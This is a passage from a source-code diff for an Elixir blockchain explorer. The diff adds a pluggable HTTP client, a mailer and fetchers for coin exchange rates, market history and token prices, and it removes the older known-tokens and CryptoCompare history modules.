multiplier * base_backoff() end + + defp calculate_delay_until_next_midnight do + now = DateTime.utc_now() + # was added for testing possibility + time_to_fetch_at = config_or_default(:time_to_fetch_at, Time.new!(0, 0, 0, 0)) + days_to_add = config_or_default(:days_to_add, 1) + tomorrow = DateTime.new!(Date.add(Date.utc_today(), days_to_add), time_to_fetch_at, now.time_zone) + + DateTime.diff(tomorrow, now, :millisecond) + end end diff --git a/apps/explorer/lib/explorer/http_client.ex b/apps/explorer/lib/explorer/http_client.ex new file mode 100644 index 000000000000..5b634c0cc404 --- /dev/null +++ b/apps/explorer/lib/explorer/http_client.ex @@ -0,0 +1,27 @@ +defmodule Explorer.HttpClient do + @moduledoc false + + def get(url, headers \\ [], options \\ []) do + adapter().get(url, headers, options) + end + + def get!(url, headers \\ [], options \\ []) do + adapter().get!(url, headers, options) + end + + def post(url, body, headers \\ [], options \\ []) do + adapter().post(url, body, headers, options) + end + + def head(url, headers \\ [], options \\ []) do + adapter().head(url, headers, options) + end + + def request(method, url, headers, body, options \\ []) do + adapter().request(method, url, headers, body, options) + end + + defp adapter do + Application.get_env(:explorer, :http_client) + end +end diff --git a/apps/explorer/lib/explorer/http_client/httpoison.ex b/apps/explorer/lib/explorer/http_client/httpoison.ex new file mode 100644 index 000000000000..4ef9c66aa667 --- /dev/null +++ b/apps/explorer/lib/explorer/http_client/httpoison.ex @@ -0,0 +1,46 @@ +defmodule Explorer.HttpClient.HTTPoison do + @moduledoc false + + alias Utils.HttpClient.HTTPoisonHelper + + def get(url, headers, options) do + url + |> HTTPoison.get(headers, HTTPoisonHelper.request_opts(options)) + |> parse_response() + end + + def get!(url, headers, options) do + url + |> HTTPoison.get!(headers, HTTPoisonHelper.request_opts(options)) + |> parse_response() + end + + def post(url, body, headers, options) do + url + |> HTTPoison.post(body, headers, HTTPoisonHelper.request_opts(options)) + |> parse_response() + end + + def head(url, headers, options) do + url + |> HTTPoison.head(headers, HTTPoisonHelper.request_opts(options)) + |> parse_response() + end + + def request(method, url, headers, body, options) do + method + |> HTTPoison.request(url, body, headers, HTTPoisonHelper.request_opts(options)) + |> parse_response() + end + + defp parse_response({:ok, %{body: body, status_code: status_code, headers: response_headers}}) do + {:ok, %{body: body, status_code: status_code, headers: response_headers}} + end + + defp parse_response(%{body: body, status_code: status_code, headers: response_headers}) do + %{body: body, status_code: status_code, headers: response_headers} + end + + defp parse_response({:error, %{reason: reason}}), do: {:error, reason} + defp parse_response(error), do: error +end diff --git a/apps/explorer/lib/explorer/http_client/tesla.ex b/apps/explorer/lib/explorer/http_client/tesla.ex new file mode 100644 index 000000000000..9988dd313d07 --- /dev/null +++ b/apps/explorer/lib/explorer/http_client/tesla.ex @@ -0,0 +1,50 @@ +defmodule Explorer.HttpClient.Tesla do + @moduledoc false + + alias Utils.HttpClient.TeslaHelper + + def get(url, headers, options) do + options + |> TeslaHelper.client() + |> Tesla.get(url, headers: headers, query: options[:params] || [], opts: TeslaHelper.request_opts(options)) + |> parse_response() + end + + def get!(url, headers, options) do + options + |> TeslaHelper.client() + |> Tesla.get!(url, headers: headers, query: options[:params] || [], opts: TeslaHelper.request_opts(options)) + |> parse_response() + end + + def post(url, body, headers, options) do + options + |> TeslaHelper.client() + |> Tesla.post(url, body, headers: headers, opts: TeslaHelper.request_opts(options)) + |> parse_response() + end + + def head(url, headers, options) do + options + |> TeslaHelper.client() + |> Tesla.head(url, headers: headers, opts: TeslaHelper.request_opts(options)) + |> parse_response() + end + + def request(method, url, headers, body, options) do + options + |> TeslaHelper.client() + |> Tesla.request(method: method, url: url, headers: headers, body: body, opts: TeslaHelper.request_opts(options)) + |> parse_response() + end + + defp parse_response({:ok, %{body: body, status: status_code, headers: response_headers}}) do + {:ok, %{body: body, status_code: status_code, headers: response_headers}} + end + + defp parse_response(%{body: body, status: status_code, headers: response_headers}) do + %{body: body, status_code: status_code, headers: response_headers} + end + + defp parse_response(error), do: error +end diff --git a/apps/explorer/lib/explorer/known_tokens/known_tokens.ex b/apps/explorer/lib/explorer/known_tokens/known_tokens.ex deleted file mode 100644 index 078e52d1ca6c..000000000000 --- a/apps/explorer/lib/explorer/known_tokens/known_tokens.ex +++ /dev/null @@ -1,147 +0,0 @@ -defmodule Explorer.KnownTokens do - @moduledoc """ - Local cache for known tokens addresses. This fetches and exposes a mapping from a token symbol to the known contract - address for the token with that symbol. This data can be consumed through the Market module. - - Data is updated every 1 hour. - """ - - use GenServer - - require Logger - - alias Explorer.Chain.Hash - alias Explorer.KnownTokens.Source - - @interval :timer.hours(1) - @table_name :known_tokens - - @impl GenServer - def handle_info(:update, state) do - Logger.debug(fn -> "Updating cached known tokens" end) - - fetch_known_tokens() - - {:noreply, state} - end - - # Callback for successful fetch - @impl GenServer - def handle_info({_ref, {:ok, addresses}}, state) do - if store() == :ets do - records = Enum.map(addresses, fn x -> {x["symbol"], x["address"]} end) - - :ets.insert(table_name(), records) - end - - {:noreply, state} - end - - # Callback for errored fetch - @impl GenServer - def handle_info({_ref, {:error, reason}}, state) do - Logger.warn(fn -> "Failed to get known tokens with reason '#{reason}'." end) - - fetch_known_tokens() - - {:noreply, state} - end - - # Callback that a monitored process has shutdown - @impl GenServer - def handle_info({:DOWN, _, :process, _, _}, state) do - {:noreply, state} - end - - @impl GenServer - def init(_) do - send(self(), :update) - :timer.send_interval(@interval, :update) - - table_opts = [ - :set, - :named_table, - :public, - read_concurrency: true - ] - - if store() == :ets do - :ets.new(table_name(), table_opts) - end - - {:ok, %{}} - end - - def start_link(opts) do - GenServer.start_link(__MODULE__, opts, name: __MODULE__) - end - - @doc """ - Lists known tokens. - """ - @spec list :: [{String.t(), Hash.Address.t()}] - def list do - if enabled?() do - list_from_store(store()) - else - [] - end - end - - @doc """ - Returns a specific address from the known tokens by symbol - """ - @spec lookup(String.t()) :: {:ok, Hash.Address.t()} | :error | nil - def lookup(symbol) do - if store() == :ets && enabled?() do - if ets_table_exists?(table_name()) do - case :ets.lookup(table_name(), symbol) do - [{_symbol, address} | _] -> Hash.Address.cast(address) - _ -> nil - end - else - nil - end - end - end - - defp ets_table_exists?(table) do - :ets.whereis(table) !== :undefined - end - - @doc false - @spec table_name() :: atom() - def table_name do - config(:table_name) || @table_name - end - - @spec config(atom()) :: term - defp config(key) do - Application.get_env(:explorer, __MODULE__, [])[key] - end - - @spec fetch_known_tokens :: Task.t() - defp fetch_known_tokens do - Task.Supervisor.async_nolink(Explorer.MarketTaskSupervisor, fn -> - Source.fetch_known_tokens() - end) - end - - defp list_from_store(:ets) do - table_name() - |> :ets.tab2list() - |> Enum.map(&elem(&1, 1)) - |> Enum.map(&Hash.Address.cast/1) - |> Enum.sort() - end - - defp list_from_store(_), do: [] - - defp store do - config(:store) || :ets - end - - defp enabled? do - Application.get_env(:explorer, __MODULE__, [])[:enabled] == true - end -end diff --git a/apps/explorer/lib/explorer/known_tokens/source.ex b/apps/explorer/lib/explorer/known_tokens/source.ex deleted file mode 100644 index 0b1a21813db2..000000000000 --- a/apps/explorer/lib/explorer/known_tokens/source.ex +++ /dev/null @@ -1,33 +0,0 @@ -defmodule Explorer.KnownTokens.Source do - @moduledoc """ - Behaviour for fetching list of known tokens. - """ - - alias Explorer.Chain.Hash - alias Explorer.ExchangeRates.Source - - @doc """ - Fetches known tokens - """ - @spec fetch_known_tokens() :: {:ok, [Hash.Address.t()]} | {:error, any} - def fetch_known_tokens(source \\ known_tokens_source()) do - Source.http_request(source.source_url(), source.headers()) - end - - @doc """ - Url for querying the list of known tokens. - """ - @callback source_url() :: String.t() - - @callback headers() :: [any()] - - @spec known_tokens_source() :: module() - defp known_tokens_source do - config(:source) || Explorer.KnownTokens.Source.MyEtherWallet - end - - @spec config(atom()) :: term - defp config(key) do - Application.get_env(:explorer, __MODULE__, [])[key] - end -end diff --git a/apps/explorer/lib/explorer/known_tokens/source/my_ether_wallet.ex b/apps/explorer/lib/explorer/known_tokens/source/my_ether_wallet.ex deleted file mode 100644 index 9bbebdd79fae..000000000000 --- a/apps/explorer/lib/explorer/known_tokens/source/my_ether_wallet.ex +++ /dev/null @@ -1,19 +0,0 @@ -defmodule Explorer.KnownTokens.Source.MyEtherWallet do - @moduledoc """ - Adapter for fetching known tokens from MyEtherWallet's GitHub - """ - - alias Explorer.KnownTokens.Source - - @behaviour Source - - @impl Source - def source_url do - "https://raw.githubusercontent.com/kvhnuke/etherwallet/mercury/app/scripts/tokens/ethTokens.json" - end - - @impl Source - def headers do - [] - end -end diff --git a/apps/explorer/lib/explorer/logger.ex b/apps/explorer/lib/explorer/logger.ex index 56eac1c3f7c3..580a04eac912 100644 --- a/apps/explorer/lib/explorer/logger.ex +++ b/apps/explorer/lib/explorer/logger.ex @@ -1,6 +1,6 @@ defmodule Explorer.Logger do @moduledoc """ - Helpers for `Logger`. + Helper for `Logger`. """ @doc """ diff --git a/apps/explorer/lib/explorer/mailer.ex b/apps/explorer/lib/explorer/mailer.ex new file mode 100644 index 000000000000..ba5c095714bc --- /dev/null +++ b/apps/explorer/lib/explorer/mailer.ex @@ -0,0 +1,12 @@ +defmodule Explorer.Mailer do + @moduledoc """ + Base module for mail sending + + add in your module: + alias Explorer.Mailer + + and call + Mailer.deliver_now!(email) + """ + use Bamboo.Mailer, otp_app: :explorer +end diff --git a/apps/explorer/lib/explorer/market/fetcher/coin.ex b/apps/explorer/lib/explorer/market/fetcher/coin.ex new file mode 100644 index 000000000000..2d66dd93c47d --- /dev/null +++ b/apps/explorer/lib/explorer/market/fetcher/coin.ex @@ -0,0 +1,224 @@ +defmodule Explorer.Market.Fetcher.Coin do + @moduledoc """ + Local cache for native coin exchange rates. + + Exchange rate data is updated every 10 minutes or MARKET_COIN_CACHE_PERIOD seconds. + """ + + use GenServer, restart: :transient + + require Logger + + alias Explorer.Chain.Events.Publisher + alias Explorer.Market + alias Explorer.Market.{Source, Token} + + @table_name :exchange_rates + + @type t() :: %__MODULE__{ + native_coin_source: module() | :ignored | nil, + secondary_coin_source: module() | :ignored | nil + } + + defstruct [:native_coin_source, :secondary_coin_source] + + @impl GenServer + def init(_) do + table_opts = [ + :set, + :named_table, + :public, + read_concurrency: true, + write_concurrency: true + ] + + if config(:store) == :ets do + :ets.new(table_name(), table_opts) + end + + native_coin_source = Source.native_coin_source() + + if is_nil(native_coin_source) do + Logger.info("Native coin source is not configured") + else + send(self(), {:update, false}) + end + + secondary_coin_source = Source.secondary_coin_source() + + if is_nil(secondary_coin_source) do + Logger.info("Secondary coin source is not configured") + else + send(self(), {:update, true}) + end + + if is_nil(native_coin_source) and is_nil(secondary_coin_source) do + :ignore + else + {:ok, %__MODULE__{native_coin_source: native_coin_source, secondary_coin_source: secondary_coin_source}} + end + end + + @impl GenServer + def handle_info({:update, secondary_coin?}, state) do + fetch_rates(secondary_coin?, state) + + {:noreply, state} + end + + # Callback for successful fetch + @impl GenServer + def handle_info({_ref, {{:ok, coin}, secondary_coin?}}, state) do + coin = if secondary_coin?, do: coin, else: add_coin_info_from_db(coin) + + if config(:store) == :ets do + :ets.insert(table_name(), {secondary_coin?, coin}) + end + + unless secondary_coin? do + broadcast_event(:exchange_rate) + end + + schedule_next_consolidation(secondary_coin?) + + {:noreply, state} + end + + # Callback for errored fetch + @impl GenServer + def handle_info({_ref, {{:error, reason}, secondary_coin?}}, state) do + Logger.warning(fn -> + "Failed to get #{Source.secondary_coin_string(secondary_coin?)} exchange rates with reason '#{reason}'." + end) + + schedule_next_consolidation(secondary_coin?) + + {:noreply, state} + end + + # Callback for not implemented fetch + @impl GenServer + def handle_info({_ref, {:ignore, secondary_coin?}}, state) do + Logger.warning( + "Configured #{Source.secondary_coin_string(secondary_coin?)} source does not implement coin fetching" + ) + + state = + if secondary_coin? do + %{state | secondary_coin_source: :ignored} + else + %{state | native_coin_source: :ignored} + end + + if state.native_coin_source == :ignored and state.secondary_coin_source == :ignored do + {:stop, :shutdown, state} + else + {:noreply, state} + end + end + + # Callback that a monitored process has shutdown + @impl GenServer + def handle_info({:DOWN, _, :process, _, _}, state) do + {:noreply, state} + end + + def start_link(opts) do + GenServer.start_link(__MODULE__, opts, name: __MODULE__) + end + + defp schedule_next_consolidation(secondary_coin?) do + if config(:enable_consolidation) do + Process.send_after(self(), {:update, secondary_coin?}, config(:cache_period)) + end + end + + @doc """ + Retrieves the primary coin exchange rate from the ETS table. + + This function fetches the primary exchange rate data for the token from the ETS + table if the store is configured to use ETS and the functionality is enabled. + + ## Returns + - A `Token.t()` struct containing the coin exchange rate data if found + - `nil` if no data is found or if the store is not configured properly + """ + @spec get_coin_exchange_rate() :: Token.t() | nil + def get_coin_exchange_rate do + do_get_coin_exchange_rate(false) + end + + @doc """ + Retrieves the secondary coin exchange rate from the ETS table. + + This function fetches the secondary exchange rate data for the token from the + ETS table if the store is configured to use ETS and the functionality is + enabled. + + ## Returns + - A `Token.t()` struct containing the secondary coin exchange rate data if found + - `nil` if no data is found or if the store is not configured properly + """ + @spec get_secondary_coin_exchange_rate() :: Token.t() | nil + def get_secondary_coin_exchange_rate do + do_get_coin_exchange_rate(true) + end + + defp do_get_coin_exchange_rate(secondary_coin?) do + if config(:store) == :ets && config(:enabled) && :ets.whereis(table_name()) != :undefined do + case :ets.lookup(table_name(), secondary_coin?) do + [{_, coin} | _] -> coin + _ -> nil + end + end + end + + @doc false + @spec table_name() :: atom() + def table_name do + config(:table_name) || @table_name + end + + @spec broadcast_event(atom()) :: :ok + defp broadcast_event(event_type) do + Publisher.broadcast(event_type) + end + + @spec config(atom()) :: term() + defp config(key) do + Application.get_env(:explorer, __MODULE__, [])[key] + end + + @spec fetch_rates(boolean(), t()) :: Task.t() + defp fetch_rates(false, state) do + if state.native_coin_source do + Task.Supervisor.async_nolink( + Explorer.MarketTaskSupervisor, + fn -> {state.native_coin_source.fetch_native_coin(), false} end + ) + end + end + + defp fetch_rates(true, state) do + if state.secondary_coin_source do + Task.Supervisor.async_nolink(Explorer.MarketTaskSupervisor, fn -> + {state.secondary_coin_source.fetch_secondary_coin(), true} + end) + end + end + + defp add_coin_info_from_db(coin) do + case Market.fetch_recent_history() do + [today | _the_rest] -> + tvl_from_history = Map.get(today, :tvl) + + case coin do + %Token{tvl: nil} = coin -> %{coin | tvl: tvl_from_history} + coin -> coin + end + + _ -> + coin + end + end +end diff --git a/apps/explorer/lib/explorer/market/fetcher/history.ex b/apps/explorer/lib/explorer/market/fetcher/history.ex new file mode 100644 index 000000000000..baa66d65ba3b --- /dev/null +++ b/apps/explorer/lib/explorer/market/fetcher/history.ex @@ -0,0 +1,186 @@ +defmodule Explorer.Market.Fetcher.History do + @moduledoc """ + Fetches the daily market history. + + Market grabs the last 365 day's worth of market history for the configured + coin in the explorer. Once that data is fetched, current day's values are + checked every `MARKET_HISTORY_FETCH_INTERVAL` or every 60 minutes by default. + Additionally, failed requests to the history source will follow exponential + backoff `100ms * 2^(n+1)` where `n` is the number of failed requests. + """ + + use GenServer + + require Logger + + alias Explorer.History.Process, as: HistoryProcess + alias Explorer.Market.{MarketHistory, Source} + + @types_to_default_state %{ + native_coin_price_history: %{ + max_failed_attempts: 10, + source_function: :native_coin_price_history_source, + fetch_function: :fetch_native_coin_price_history + }, + secondary_coin_price_history: %{ + max_failed_attempts: 10, + source_function: :secondary_coin_price_history_source, + fetch_function: :fetch_secondary_coin_price_history + }, + market_cap_history: %{ + max_failed_attempts: 3, + source_function: :market_cap_history_source, + fetch_function: :fetch_market_cap_history + }, + tvl_history: %{ + max_failed_attempts: 3, + source_function: :tvl_history_source, + fetch_function: :fetch_tvl_history + } + } + + @types Map.keys(@types_to_default_state) + + @doc """ + Starts a process to continually fetch market history. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl GenServer + def init(:ok) do + types_states = + @types_to_default_state + |> Map.new(fn {type, %{max_failed_attempts: max_failed_attempts, source_function: source_function}} -> + {type, + %{ + source: apply(Source, source_function, []), + max_failed_attempts: max_failed_attempts, + failed_attempts: 0, + finished?: false, + records: [] + }} + end) + + state = %{types_states: types_states} + + send(self(), {:fetch_all, config(:first_fetch_day_count)}) + + {:ok, state} + end + + def handle_info({:fetch_all, day_count}, state) do + new_types_states = + state.types_states + |> Map.new(fn {type, type_state} -> + {type, %{type_state | failed_attempts: 0, finished?: false, records: []}} + end) + + new_state = %{state | types_states: new_types_states} |> Map.put(:day_count, day_count) + + for type <- @types do + fetch(type, new_state) + end + + {:noreply, new_state} + end + + @impl GenServer + def handle_info(type, state) when type in @types do + fetch(type, state) + + {:noreply, state} + end + + @impl GenServer + def handle_info({_ref, {type, {:ok, records}}}, state) do + new_types_states = + state.types_states + |> put_in([type, :records], records) + |> put_in([type, :finished?], true) + + new_state = %{state | types_states: new_types_states} + + maybe_insert_and_schedule_refetch(new_state) + + {:noreply, new_state} + end + + @impl GenServer + def handle_info({_ref, {type, {:error, reason}}}, state) do + Logger.error("Failed to fetch #{type}: #{inspect(reason)}") + + failed_attempts = get_in(state.types_states, [type, :failed_attempts]) + 1 + max_failed_attempts = get_in(state.types_states, [type, :max_failed_attempts]) + + if failed_attempts <= max_failed_attempts do + Process.send_after(self(), type, HistoryProcess.delay(failed_attempts)) + end + + new_types_states = put_in(state.types_states, [type, :failed_attempts], failed_attempts) + new_state = %{state | types_states: new_types_states} + + {:noreply, new_state} + end + + @impl GenServer + def handle_info({_ref, {type, :ignore}}, state) do + Logger.info( + "Selected source (#{inspect(get_in(state.types_states, [type, :source]))}) for #{type} is not implemented" + ) + + new_types_states = + state.types_states + |> put_in([type, :records], []) + |> put_in([type, :source], nil) + + new_state = %{state | types_states: new_types_states} + + maybe_insert_and_schedule_refetch(new_state) + + {:noreply, new_state} + end + + @impl GenServer + def handle_info({:DOWN, _, :process, _, _}, state) do + {:noreply, state} + end + + @spec fetch(atom(), map()) :: Task.t() | nil + defp fetch(type, state) do + if state.types_states[type].source do + Task.Supervisor.async_nolink(Explorer.MarketTaskSupervisor, fn -> + {type, apply(state.types_states[type].source, @types_to_default_state[type].fetch_function, [state.day_count])} + end) + end + end + + defp maybe_insert_and_schedule_refetch(state) do + if Enum.all?(state.types_states, fn {_type, type_state} -> + is_nil(type_state.source) or type_state.finished? or + type_state.failed_attempts > type_state.max_failed_attempts + end) do + state + |> compile_records() + |> MarketHistory.bulk_insert() + + Process.send_after(self(), {:fetch_all, 1}, config(:history_fetch_interval)) + end + end + + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end + + defp compile_records(state) do + @types + |> Enum.map(fn type -> state.types_states[type].records end) + |> Stream.concat() + |> Enum.group_by(&{Map.get(&1, :date), Map.get(&1, :secondary_coin, false)}) + |> Enum.map(fn {_date, dates_with_data} -> + Enum.reduce(dates_with_data, &Map.merge/2) + end) + end +end diff --git a/apps/explorer/lib/explorer/market/fetcher/token.ex b/apps/explorer/lib/explorer/market/fetcher/token.ex new file mode 100644 index 000000000000..4a48875b0a84 --- /dev/null +++ b/apps/explorer/lib/explorer/market/fetcher/token.ex @@ -0,0 +1,152 @@ +defmodule Explorer.Market.Fetcher.Token do + @moduledoc """ + Periodically fetches fiat value of tokens. + """ + use GenServer, restart: :transient + + require Logger + + alias Explorer.Chain + alias Explorer.Chain.Hash.Address + alias Explorer.Chain.Import.Runner.Tokens + alias Explorer.Market.Source + alias Explorer.MicroserviceInterfaces.MultichainSearch + + defstruct [ + :source, + :source_state, + :max_batch_size, + :interval, + :refetch_interval + ] + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl GenServer + def init(_args) do + case Source.tokens_source() do + source when not is_nil(source) -> + state = + %__MODULE__{ + source: source, + max_batch_size: config(:max_batch_size), + interval: config(:interval), + refetch_interval: config(:refetch_interval) + } + + Process.send_after(self(), {:fetch, 0}, state.interval) + + {:ok, state} + + nil -> + Logger.info("Token exchange rates source is not configured") + :ignore + end + end + + @impl GenServer + def handle_info( + {:fetch, attempt}, + %__MODULE__{ + source: source, + source_state: source_state, + max_batch_size: max_batch_size, + interval: interval, + refetch_interval: refetch_interval + } = state + ) do + case source.fetch_tokens(source_state, max_batch_size) do + {:ok, source_state, fetch_finished?, tokens_data} -> + case update_tokens(tokens_data) do + {:ok, _imported} -> + enqueue_to_multichain(tokens_data) + + {:error, err} -> + Logger.error("Error while importing tokens market data: #{inspect(err)}") + + {:error, step, failed_value, changes_so_far} -> + Logger.error("Error while importing tokens market data: #{inspect({step, failed_value, changes_so_far})}") + end + + if fetch_finished? do + Process.send_after(self(), {:fetch, 0}, refetch_interval) + else + Process.send_after(self(), {:fetch, 0}, interval) + end + + {:noreply, %{state | source_state: source_state}} + + {:error, reason} -> + Logger.error("Error while fetching tokens: #{inspect(reason)}") + + if attempt < 5 do + Process.send_after(self(), {:fetch, attempt + 1}, :timer.seconds(attempt ** 5)) + {:noreply, state} + else + Process.send_after(self(), {:fetch, 0}, refetch_interval) + {:noreply, %{state | source_state: nil}} + end + + :ignore -> + Logger.warning("Tokens fetching not implemented for selected source: #{source}") + {:stop, :shutdown, state} + end + end + + @impl GenServer + def handle_info({_ref, _result}, state) do + {:noreply, state} + end + + @impl GenServer + def handle_info({:DOWN, _ref, :process, _pid, _reason}, state) do + {:noreply, state} + end + + # Adds market data of the token (such as price and market cap) to the queue to send that to Multichain service. + # + # ## Parameters + # - `tokens_data`: A list of token data. + # + # ## Returns + # - `:ok` if the data is accepted for insertion. + # - `:ignore` if the Multichain service is not used. + @spec enqueue_to_multichain([ + %{ + :contract_address_hash => Address.t(), + optional(:fiat_value) => Decimal.t(), + optional(:circulating_market_cap) => Decimal.t(), + optional(any()) => any() + } + ]) :: :ok | :ignore + defp enqueue_to_multichain(tokens_data) do + tokens_data + |> Enum.reduce(%{}, fn token, acc -> + data_for_multichain = MultichainSearch.prepare_token_market_data_for_queue(token) + + if data_for_multichain == %{} do + acc + else + Map.put(acc, token.contract_address_hash.bytes, data_for_multichain) + end + end) + |> MultichainSearch.send_token_info_to_queue(:market_data) + end + + defp update_tokens(token_params) do + Chain.import(%{ + tokens: %{ + params: token_params, + on_conflict: Tokens.market_data_on_conflict(), + fields_to_update: Tokens.market_data_fields_to_update() + } + }) + end + + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end +end diff --git a/apps/explorer/lib/explorer/market/history/cataloger.ex b/apps/explorer/lib/explorer/market/history/cataloger.ex deleted file mode 100644 index 8545ffa159ba..000000000000 --- a/apps/explorer/lib/explorer/market/history/cataloger.ex +++ /dev/null @@ -1,113 +0,0 @@ -defmodule Explorer.Market.History.Cataloger do - @moduledoc """ - Fetches the daily market history. - - Market grabs the last 365 day's worth of market history for the configured - coin in the explorer. Once that data is fetched, current day's values are - checked every 60 minutes. Additionally, failed requests to the history - source will follow exponential backoff `100ms * 2^(n+1)` where `n` is the - number of failed requests. - - ## Configuration - - The following example shows the configurable values in a sample config. - - config :explorer, Explorer.Market.History.Cataloger, - # fetch interval in milliseconds - history_fetch_interval: :timer.minutes(60), - # Base backoff in milliseconds for failed requests to history API - base_backoff: 100 - - """ - - use GenServer - - require Logger - - alias Explorer.Market - - @typep milliseconds :: non_neg_integer() - - @impl GenServer - def init(:ok) do - send(self(), {:fetch_history, 365}) - - {:ok, %{}} - end - - @impl GenServer - def handle_info({:fetch_history, day_count}, state) do - fetch_history(day_count) - - {:noreply, state} - end - - @impl GenServer - # Record fetch successful. - def handle_info({_ref, {_, _, {:ok, records}}}, state) do - Market.bulk_insert_history(records) - - # Schedule next check for history - fetch_after = config_or_default(:history_fetch_interval, :timer.minutes(60)) - Process.send_after(self(), {:fetch_history, 1}, fetch_after) - - {:noreply, state} - end - - # Failed to get records. Try again. - @impl GenServer - def handle_info({_ref, {day_count, failed_attempts, :error}}, state) do - Logger.warn(fn -> "Failed to fetch market history. Trying again." end) - - fetch_history(day_count, failed_attempts + 1) - - {:noreply, state} - end - - # Callback that a monitored process has shutdown. - @impl GenServer - def handle_info({:DOWN, _, :process, _, _}, state) do - {:noreply, state} - end - - @doc """ - Starts a process to continually fetch market history. - """ - @spec start_link(term()) :: GenServer.on_start() - def start_link(_) do - GenServer.start_link(__MODULE__, :ok, name: __MODULE__) - end - - @spec base_backoff :: milliseconds() - defp base_backoff do - config_or_default(:base_backoff, 100) - end - - @spec config_or_default(atom(), term()) :: term() - defp config_or_default(key, default) do - Application.get_env(:explorer, __MODULE__, [])[key] || default - end - - @spec source() :: module() - defp source do - config_or_default(:source, Explorer.Market.History.Source.CryptoCompare) - end - - @spec fetch_history(non_neg_integer(), non_neg_integer()) :: Task.t() - defp fetch_history(day_count, failed_attempts \\ 0) do - Task.Supervisor.async_nolink(Explorer.MarketTaskSupervisor, fn -> - Process.sleep(delay(failed_attempts)) - {day_count, failed_attempts, source().fetch_history(day_count)} - end) - end - - @spec delay(non_neg_integer()) :: milliseconds() - defp delay(0), do: 0 - defp delay(1), do: base_backoff() - - defp delay(failed_attempts) do - # Simulates 2^n - multiplier = Enum.reduce(2..failed_attempts, 1, fn _, acc -> 2 * acc end) - multiplier * base_backoff() - end -end diff --git a/apps/explorer/lib/explorer/market/history/source.ex b/apps/explorer/lib/explorer/market/history/source.ex deleted file mode 100644 index af1c96e4bada..000000000000 --- a/apps/explorer/lib/explorer/market/history/source.ex +++ /dev/null @@ -1,19 +0,0 @@ -defmodule Explorer.Market.History.Source do - @moduledoc """ - Interface for a source that allows for fetching of market history. - """ - - @typedoc """ - Record of market values for a specific date. - """ - @type record :: %{ - closing_price: Decimal.t(), - date: Date.t(), - opening_price: Decimal.t() - } - - @doc """ - Fetch history for a specified amount of days in the past. - """ - @callback fetch_history(previous_days :: non_neg_integer()) :: {:ok, [record()]} | :error -end diff --git a/apps/explorer/lib/explorer/market/history/source/crypto_compare.ex b/apps/explorer/lib/explorer/market/history/source/crypto_compare.ex deleted file mode 100644 index 6888d83b2b67..000000000000 --- a/apps/explorer/lib/explorer/market/history/source/crypto_compare.ex +++ /dev/null @@ -1,81 +0,0 @@ -defmodule Explorer.Market.History.Source.CryptoCompare do - @moduledoc """ - Adapter for fetching market history from https://cryptocompare.com. - - The history is fetched for the configured coin. You can specify a - different coin by changing the targeted coin. - - # In config.exs - config :explorer, coin: "POA" - - """ - - alias Explorer.Market.History.Source - alias HTTPoison.Response - - @behaviour Source - - @typep unix_timestamp :: non_neg_integer() - - @impl Source - def fetch_history(previous_days) do - url = history_url(previous_days) - headers = [{"Content-Type", "application/json"}] - - case HTTPoison.get(url, headers) do - {:ok, %Response{body: body, status_code: 200}} -> - result = - body - |> format_data() - |> reject_zeros() - - {:ok, result} - - _ -> - :error - end - end - - @spec base_url :: String.t() - defp base_url do - configured_url = Application.get_env(:explorer, __MODULE__, [])[:base_url] - configured_url || "https://min-api.cryptocompare.com" - end - - @spec date(unix_timestamp()) :: Date.t() - defp date(unix_timestamp) do - unix_timestamp - |> DateTime.from_unix!() - |> DateTime.to_date() - end - - @spec format_data(String.t()) :: [Source.record()] - defp format_data(data) do - json = Jason.decode!(data) - - for item <- json["Data"] do - %{ - closing_price: Decimal.new(to_string(item["close"])), - date: date(item["time"]), - opening_price: Decimal.new(to_string(item["open"])) - } - end - end - - @spec history_url(non_neg_integer()) :: String.t() - defp history_url(previous_days) do - query_params = %{ - "fsym" => Explorer.coin(), - "limit" => previous_days, - "tsym" => "USD" - } - - "#{base_url()}/data/histoday?#{URI.encode_query(query_params)}" - end - - defp reject_zeros(items) do - Enum.reject(items, fn item -> - Decimal.equal?(item.closing_price, 0) && Decimal.equal?(item.opening_price, 0) - end) - end -end diff --git a/apps/explorer/lib/explorer/market/market.ex b/apps/explorer/lib/explorer/market/market.ex index 01a815cf8c8d..e58a2788fc05 100644 --- a/apps/explorer/lib/explorer/market/market.ex +++ b/apps/explorer/lib/explorer/market/market.ex @@ -3,93 +3,71 @@ defmodule Explorer.Market do Context for data related to the cryptocurrency market. """ - alias Explorer.Chain.Address.CurrentTokenBalance - alias Explorer.Chain.Hash - alias Explorer.ExchangeRates.Token - alias Explorer.Market.{MarketHistory, MarketHistoryCache} - alias Explorer.{ExchangeRates, KnownTokens, Repo} + alias Explorer.Market.Fetcher.Coin + alias Explorer.Market.{MarketHistory, MarketHistoryCache, Token} @doc """ - Get most recent exchange rate for the given symbol. + Retrieves the history for the recent specified amount of days. + + Today's date is include as part of the day count """ - @spec get_exchange_rate(String.t()) :: Token.t() | nil - def get_exchange_rate(symbol) do - ExchangeRates.lookup(symbol) + @spec fetch_recent_history(boolean()) :: [MarketHistory.t()] + def fetch_recent_history(secondary_coin? \\ false) do + MarketHistoryCache.fetch(secondary_coin?) end @doc """ - Get the address of the token with the given symbol. + Retrieves today's native coin exchange rate from the database. """ - @spec get_known_address(String.t()) :: Hash.Address.t() | nil - def get_known_address(symbol) do - case KnownTokens.lookup(symbol) do - {:ok, address} -> address - nil -> nil - end + @spec get_native_coin_exchange_rate_from_db(boolean()) :: Token.t() + def get_native_coin_exchange_rate_from_db(secondary_coin? \\ false) do + secondary_coin? + |> fetch_recent_history() + |> List.first() + |> MarketHistory.to_token() end @doc """ - Retrieves the history for the recent specified amount of days. - - Today's date is include as part of the day count + Get most recent exchange rate for the native coin from ETS or from DB. """ - @spec fetch_recent_history() :: [MarketHistory.t()] - def fetch_recent_history do - MarketHistoryCache.fetch() + @spec get_coin_exchange_rate() :: Token.t() + def get_coin_exchange_rate do + Coin.get_coin_exchange_rate() || get_native_coin_exchange_rate_from_db() end - @doc false - def bulk_insert_history(records) do - records_without_zeroes = - records - |> Enum.reject(fn item -> - Decimal.equal?(item.closing_price, 0) && Decimal.equal?(item.opening_price, 0) - end) - # Enforce MarketHistory ShareLocks order (see docs: sharelocks.md) - |> 